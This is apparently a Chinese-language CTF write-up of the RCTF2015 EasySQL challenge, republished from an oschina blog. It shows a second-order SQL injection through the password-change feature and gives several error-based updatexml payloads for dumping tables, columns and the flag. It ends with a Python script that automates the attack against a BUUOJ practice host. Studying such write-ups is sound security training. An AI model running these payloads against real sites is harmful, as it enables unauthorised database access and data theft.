[RCTF2015]EasySQL
-
打开靶机,是如下界面
-
到注册页面,试了一下,
username
和email
处有过滤,直接 fuzz 一下哪些字符被禁了 -
注册成功之后,有一个修改密码的功能,这里的考点应该就是二次注入
-
它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理
-
注册用户名
'sss"\
,在修改密码处的有个报错的回显 -
可以猜出来 sql 语句应该是类似于这样子的
select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'
-
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
-
经过测试,flag 不在 flag 表中
-
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
-
发现输出有长度限制
-
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
-
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
-
这里就很尴尬了,所以不如
reverse
逆序输出 -
username=peri0d"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#
-
放个脚本,代表了这一题的整个流程,也记录的我的犯傻
import requests url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php' url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php' url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php' pre = 'peri0d"' suf = "'))),1))#" s = 'abcdefghijklmnopqrstuvwxyz1234567890' s = list(s) r = requests.session() def register(name): data = { 'username' : name, 'password' : '123', 'email' : '123', } r.post(url=url_reg, data=data) def login(name): data = { 'username' : name, 'password' : '123', } r.post(url=url_log, data=data) def changepwd(): data = { 'oldpass' : '', 'newpass' : '', } kk = r.post(url=url_change, data=data) if 'target' not in kk.text: print(kk.text) for i in s: paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf register(paylaod) login(paylaod) changepwd()
来源:oschina
链接:https://my.oschina.net/u/4413091/blog/3384386